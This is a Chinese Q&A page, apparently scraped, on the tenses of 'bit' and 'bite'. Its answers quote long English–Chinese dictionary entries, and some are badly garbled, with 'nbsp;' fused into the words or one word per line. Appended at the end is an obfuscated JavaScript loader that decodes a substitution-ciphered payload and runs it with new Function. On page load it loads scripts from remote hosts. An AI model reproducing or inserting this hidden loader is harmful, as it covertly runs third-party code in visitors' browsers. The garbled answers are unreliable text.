bit bite 分别是什么时态?

2025-02-26 13:17:55
推荐回答(5个)
回答1:

bit
[bit]
n.
小块, 少量, 片刻, 马嚼子, 辅币
vt.
上马嚼子, 控制
vbl.

n.
[计]位, 比特

Bit
(二进制)位,比特

bit
bit 1
AHD:[b¹t]
D.J.[bit]
K.K.[b!t]
n.(名词)
A small portion, degree, or amount:
一点,一块,一些:
a bit of lint; a bit of luck.
一块棉绒;一点运气
A brief amount of time; a moment:
一小段时间;片刻:
Wait a bit.
等一会儿
A short scene or episode in a theatrical performance.
一小段情节:戏剧表演中的小场景或情节
A bit part.
小角色
An entertainment routine given regularly by a performer; an act.
固定表演:由表演者定期表演的娱乐性常规剧目;表演
Informal
【非正式用语】
A particular kind of action, situation, or behavior:
行为举止:一种特殊的行为、情况或举止:
got tired of the macho bit.
厌倦了男子气
A matter being considered:
被考虑的事件:
What's this bit about inflation?
通货膨胀是怎么回事?
Informal An amount equal to !/8 of a dollar:
【非正式用语】 一角两分半:等于!/8美元的数量:
two bits.
25美分
Chiefly British A small coin:
【多用于英国】 小硬币:
a threepenny bit.
三便士硬币

a bit
To a small degree; somewhat:
稍微;有点:
a bit warm.
有点儿热
bit by bit
Little by little; gradually.
一点一点地;逐渐地

Middle English bite [morsel]
中古英语 bite [少量]
from Old English bita * see bheid-
源自 古英语 bita *参见 bheid-

bit
bit 2
AHD:[b¹t]
D.J.[bit]
K.K.[b!t]
n.(名词)
The sharp part of a tool, such as the cutting edge of a knife or ax.
刀刃,斧刃:工具的锋利部分,如刀片或斧头切割边
A pointed and threaded tool for drilling and boring that is secured in a brace, bitstock, or drill press.
钻头:曲柄、钻柄或钻床之上用于钻孔的尖头工具
The part of a key that enters the lock and engages the bolt and tumblers.
钥匙齿:钥匙插入锁中并使锁簧和制栓接合的部分
The tip of the mouthpiece on a pipe or a cigarette or cigar holder.
烟嘴:烟斗、香烟或雪茄烟嘴的顶端
The metal mouthpiece of a bridle, serving to control, curb, and direct an animal.
马勒,嚼子:放在嘴里的金属制马勒,用于控制约束和驾御牲畜
Something that controls, guides, or curbs.
控制物:起控制、引导或约束力的事物
v.tr.(及物动词)
bit.ted, bit.ting, bits
To place a bit in the mouth of (a horse, for example).
给…的嘴上嚼子(如马)
To check or control with or as if with a bit.
控制:用或似用嚼子控制或抑制
To make or grind a bit on (a key).
给(钥匙)做或磨钥匙齿

have the bit in one's teeth或
take the bit in one's teeth
To be uncontrollable, as a horse is when it clenches its teeth on the bit; to cast off or refuse restraint.
不服管束,桀骜不驯:难以控制,如上嚼子的马紧咬着嚼子;释放或摆脱束缚

Middle English bite
中古英语 bite
from Old English [act of biting] * see bheid-
源自 古英语 [上嚼子的行为] *参见 bheid-

bit
bit 3
AHD:[b¹t]
D.J.[bit]
K.K.[b!t]
n.Computer Science (名词)【计算机科学】
A single character of a language having just two characters, as either of the binary digits 0 or 1.
位,比特:只有两个数的语言的一个数,如二进制数0或1中的任何一个
A unit of information equivalent to the choice of either of two equally likely alternatives.
位元:相当于轮换选择二者之一的一组信息
A unit of information storage capacity, as of memory.
储存能量:储存能量,如记忆的一组信息

Blend of b(inary)
混合了 b(inary)
(dig)it
(dig)it

bit
bit 4
AHD:[b¹t]
D.J.[bit]
K.K.[b!t]
v.(动词)
Past tense and a past participle of bite
bite的过去式和过去分词

bite
[bait]
n.
咬, 咬伤, 一口, 刺痛
v.
咬, 刺痛
abbr.
[军] Built-In Test Equipment, 机内测试设备

bite
bite
AHD:[bºt]
D.J.[bait]
K.K.[ba!t]
v.(动词)
bit[b¹t] bit.ten[b¹t“n] 或 bit bit.ing, bites
v.tr.(及物动词)
To cut, grip, or tear with or as if with the teeth.
咬:用牙或好象用牙撕、咬或扯
To pierce the skin of with the teeth, fangs, or mouthparts.
咬破,撕裂:用牙、齿或口器咬穿皮肤
To sting with a stinger.
螫,叮:用螫针螫
To cut into with or as if with a sharp instrument:
刺穿:用利器等刺穿:
The sword bit straight through the wooden shield.
剑锋刺穿了木盾
To grip, grab, or seize:
握住、攫住或抓住:
bald treads that couldn't bite the icy road; bitten by a sudden desire to travel.
光滑的鞋底在结冰的路面上打滑;突然对旅游产生了浓厚的兴趣
To eat into; corrode.
腐蚀,侵蚀
To cause to sting or be painful:
刺痛,疼痛:
cold that bites the skin; a conscience bitten by remorse.
寒冷刺骨;受悔恨煎熬的良心
v.intr.(不及物动词)
To grip, cut into, or injure something with or as if with the teeth.
咬:用牙咬、叮或弄伤
To have a stinging effect.
刺痛:产生刺痛的结果
To have a sharp taste.
有刺激味道的
To take or swallow bait.
上钩:抓住或吞下诱饵
To be taken in by a ploy or deception:
上当,被骗:被策略或诡计所欺骗:
tried to sell the Brooklyn Bridge, but no one bit.
想卖布鲁克林桥,但没人上当
n.(名词)
The act of biting.
叮,咬:咬,叮的动作
A skin wound or puncture produced by an animal's teeth or mouthparts:
伤口:被动物牙齿或口器咬伤的皮肤上的伤口:
the bite of an insect.
昆虫咬的伤口
A stinging or smarting sensation.
刺痛感:剧烈刺痛的感觉
An incisive, penetrating quality:
尖刻,尖锐:尖锐,锋利或透彻的品质:
the bite of satire.
尖刻的讽刺
An amount removed by or as if by an act of biting:
一口,少量:咬一口的量:
Rezoning took a bite out of the town's residential area.
重新分区后在城市住宅区占了一小块地方
An amount of food taken into the mouth at one time; a mouthful.
一口食物;一口,少量:一次吞入口的食物量;一口的量
Informal A light meal or snack.
【非正式用语】 点心:少量的一顿饭或零食
The act or an instance of taking bait:
上钩:上钩的行为或事例:
fished all day without a bite; an ad that got a few bites but no final sales.
一整天没半条鱼上钩;这则广告吸引了一些人上钩,但最后还是没有卖出东西
A secure grip or hold applied by a tool or machine upon a working surface.
固定器:在工作面上使用工具或机器的夹紧或固定装置
The part of a tool or machine that presses against and maintains a firm hold on a working surface.
固定点,卡紧:工具或机器上紧压工作面保持固定的部分
Dentistry The angle at which the upper and lower teeth meet; occlusion.
【牙科学】 牙齿的咬合:上下齿的咬合情况;牙咬合
The corrosive action of acid upon an etcher's metal plate.
腐蚀:蚀刻器的金属盘上的酸腐蚀
Slang An amount of money appropriated or withheld:
【俚语】 一笔钱:一次拨取或扣留的钱数:
trying to avoid the tax bite.
设法逃税

bite off more than one can chew
To decide or agree to do more than one can finally accomplish.
贪多嚼不烂:决定或同意做力所不能及的事
bite the bullet【俚语】
To face a painful situation bravely and stoically.
忍辱负重:勇敢冷静得地面对困境
bite the dust【俚语】
To fall dead, especially in combat.
死亡:倒下死去,尤指在战争中
To be defeated.
被打败
To come to an end.
终结,结束
bite the hand that feeds (one)
To repay generosity or kindness with ingratitude and injury.
忘恩负义:对别人的慷慨和善良不但不感激,反而伤害别人

Middle English biten
中古英语 biten
from Old English bºn * see bheid-
源自 古英语 bºn *参见 bheid-

bit“able 或
bite“able
adj.(形容词)
bit“er
n.(名词)

bite, champ, gnaw
The central meaning shared by these verbs is “to seize and tear or grind something with the teeth”:
这些动词共有的中心含义是“用牙抓,撕或磨”:
bite into a ripe tomato;
咬一个熟透的西红柿;
horses champing grain;
马嚼谷物;
a dog gnawing a bone.
狗啃骨头

bite
来自古英语 bitan

回答2:

bit 过去时
bite 动词
biting 进行时

回答3:

bite 是原形
bit 过去式

回答4:

bit[bit]n.小块,nbsp;少量,nbsp;片刻,nbsp;马嚼子,nbsp;辅币vt.上马嚼子,nbsp;控制vbl.咬n.[计]位,nbsp;比特Bit(二进制)位,比特bitbitnbsp;1AHD:[bamp;sup1;t]nbsp;D.J.[bit]K.K.[b!t]n.(名词)Anbsp;smallnbsp;portion,nbsp;degree,nbsp;ornbsp;amount:一点,一块,一些:anbsp;bitnbsp;ofnbsp;lint;nbsp;anbsp;bitnbsp;ofnbsp;luck.一块棉绒;一点运气Anbsp;briefnbsp;amountnbsp;ofnbsp;time;nbsp;anbsp;moment:一小段时间;片刻:Waitnbsp;anbsp;bit.等一会儿Anbsp;shortnbsp;scenenbsp;ornbsp;episodenbsp;innbsp;anbsp;theatricalnbsp;performance.一小段情节:戏剧表演中的小场景或情节Anbsp;bitnbsp;part.小角色Annbsp;entertainmentnbsp;routinenbsp;givennbsp;regularlynbsp;bynbsp;anbsp;performer;nbsp;annbsp;act.固定表演:由表演者定期表演的娱乐性常规剧目;表演Informalnbsp;【非正式用语】nbsp;Anbsp;particularnbsp;kindnbsp;ofnbsp;action,nbsp;situation,nbsp;ornbsp;behavior:行为举止:一种特殊的行为、情况或举止:gotnbsp;tirednbsp;ofnbsp;thenbsp;machonbsp;bit.厌倦了男子气Anbsp;matternbsp;beingnbsp;considered:被考虑的事件:What‘snbsp;thisnbsp;bitnbsp;aboutnbsp;inflation?通货膨胀是怎么回事?Informalnbsp;Annbsp;amountnbsp;equalnbsp;tonbsp;!/8nbsp;ofnbsp;anbsp;dollar:【非正式用语】nbsp;一角两分半:等于!/8美元的数量:twonbsp;bits.25美分Chieflynbsp;Britishnbsp;Anbsp;smallnbsp;coin:【多用于英国】nbsp;小硬币:anbsp;threepennynbsp;bit.三便士硬币anbsp;bitTonbsp;anbsp;smallnbsp;degree;nbsp;somewhat:稍微;有点:anbsp;bitnbsp;warm.有点儿热bitnbsp;bynbsp;bitLittlenbsp;bynbsp;little;nbsp;gradually.一点一点地;逐渐地Middlenbsp;Englishnbsp;bitenbsp;[morsel]nbsp;中古英语nbsp;bitenbsp;[少量]nbsp;fromnbsp;Oldnbsp;Englishnbsp;bitanbsp;*nbsp;seenbsp;bheid-nbsp;源自nbsp;古英语nbsp;bitanbsp;*参见nbsp;bheid-nbsp;bitbitnbsp;2AHD:[bamp;sup1;t]nbsp;D.J.[bit]K.K.[b!t]n.(名词)Thenbsp;sharpnbsp;partnbsp;ofnbsp;anbsp;tool,nbsp;suchnbsp;asnbsp;thenbsp;cuttingnbsp;edgenbsp;ofnbsp;anbsp;knifenbsp;ornbsp;ax.刀刃,斧刃:工具的锋利部分,如刀片或斧头切割边Anbsp;pointednbsp;andnbsp;threadednbsp;toolnbsp;fornbsp;drillingnbsp;andnbsp;boringnbsp;thatnbsp;isnbsp;securednbsp;innbsp;anbsp;brace,nbsp;bitstock,nbsp;ornbsp;drillnbsp;press.钻头:曲柄、钻柄或钻床之上用于钻孔的尖头工具Thenbsp;partnbsp;ofnbsp;anbsp;keynbsp;thatnbsp;entersnbsp;thenbsp;locknbsp;andnbsp;engagesnbsp;thenbsp;boltnbsp;andnbsp;tumblers.钥匙齿:钥匙插入锁中并使锁簧和制栓接合的部分Thenbsp;tipnbsp;ofnbsp;thenbsp;mouthpiecenbsp;onnbsp;anbsp;pipenbsp;ornbsp;anbsp;cigarettenbsp;ornbsp;cigarnbsp;holder.烟嘴:烟斗、香烟或雪茄烟嘴的顶端Thenbsp;metalnbsp;mouthpiecenbsp;ofnbsp;anbsp;bridle,nbsp;servingnbsp;tonbsp;control,nbsp;curb,nbsp;andnbsp;directnbsp;annbsp;animal.马勒,嚼子:放在嘴里的金属制马勒,用于控制约束和驾御牲畜Somethingnbsp;thatnbsp;controls,nbsp;guides,nbsp;ornbsp;curbs.控制物:起控制、引导或约束力的事物v.tr.(及物动词)bit.ted,nbsp;bit.ting,nbsp;bitsTonbsp;placenbsp;anbsp;bitnbsp;innbsp;thenbsp;mouthnbsp;ofnbsp;(anbsp;horse,nbsp;fornbsp;example).给…的嘴上嚼子(如马)Tonbsp;checknbsp;ornbsp;controlnbsp;w

回答5:

bit
[bit]
n.
小块,
少量,
片刻,
马嚼子,
辅币
vt.
上马嚼子,
控制
vbl.

n.
[计]位,
比特
Bit
(二进制)位,比特
bit
bit
1
AHD:[b¹t]
D.J.[bit]
K.K.[b!t]
n.(名词)
A
small
portion,
degree,
or
amount:
一点,一块,一些:
a
bit
of
lint;
a
bit
of
luck.
一块棉绒;一点运气
A
brief
amount
of
time;
a
moment:
一小段时间;片刻:
Wait
a
bit.
等一会儿
A
short
scene
or
episode
in
a
theatrical
performance.
一小段情节:戏剧表演中的小场景或情节
A
bit
part.
小角色
An
entertainment
routine
given
regularly
by
a
performer;
an
act.
固定表演:由表演者定期表演的娱乐性常规剧目;表演
Informal
【非正式用语】
A
particular
kind
of
action,
situation,
or
behavior:
行为举止:一种特殊的行为、情况或举止:
got
tired
of
the
macho
bit.
厌倦了男子气
A
matter
being
considered:
被考虑的事件:
What's
this
bit
about
inflation?
通货膨胀是怎么回事?
Informal
An
amount
equal
to
!/8
of
a
dollar:
【非正式用语】
一角两分半:等于!/8美元的数量:
two
bits.
25美分
Chiefly
British
A
small
coin:
【多用于英国】
小硬币:
a
threepenny
bit.
三便士硬币
a
bit
To
a
small
degree;
somewhat:
稍微;有点:
a
bit
warm.
有点儿热
bit
by
bit
Little
by
little;
gradually.
一点一点地;逐渐地
Middle
English
bite
[morsel]
中古英语
bite
[少量]
from
Old
English
bita
*
see
bheid-
源自
古英语
bita
*参见
bheid-
bit
bit
2
AHD:[b¹t]
D.J.[bit]
K.K.[b!t]
n.(名词)
The
sharp
part
of
a
tool,
such
as
the
cutting
edge
of
a
knife
or
ax.
刀刃,斧刃:工具的锋利部分,如刀片或斧头切割边
A
pointed
and
threaded
tool
for
drilling
and
boring
that
is
secured
in
a
brace,
bitstock,
or
drill
press.
钻头:曲柄、钻柄或钻床之上用于钻孔的尖头工具
The
part
of
a
key
that
enters
the
lock
and
engages
the
bolt
and
tumblers.
钥匙齿:钥匙插入锁中并使锁簧和制栓接合的部分
The
tip
of
the
mouthpiece
on
a
pipe
or
a
cigarette
or
cigar
holder.
烟嘴:烟斗、香烟或雪茄烟嘴的顶端
The
metal
mouthpiece
of
a
bridle,
serving
to
control,
curb,
and
direct
an
animal.
马勒,嚼子:放在嘴里的金属制马勒,用于控制约束和驾御牲畜
Something
that
controls,
guides,
or
curbs.
控制物:起控制、引导或约束力的事物
v.tr.(及物动词)
bit.ted,
bit.ting,
bits
To
place
a
bit
in
the
mouth
of
(a
horse,
for
example).
给…的嘴上嚼子(如马)
To
check
or
control
w

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();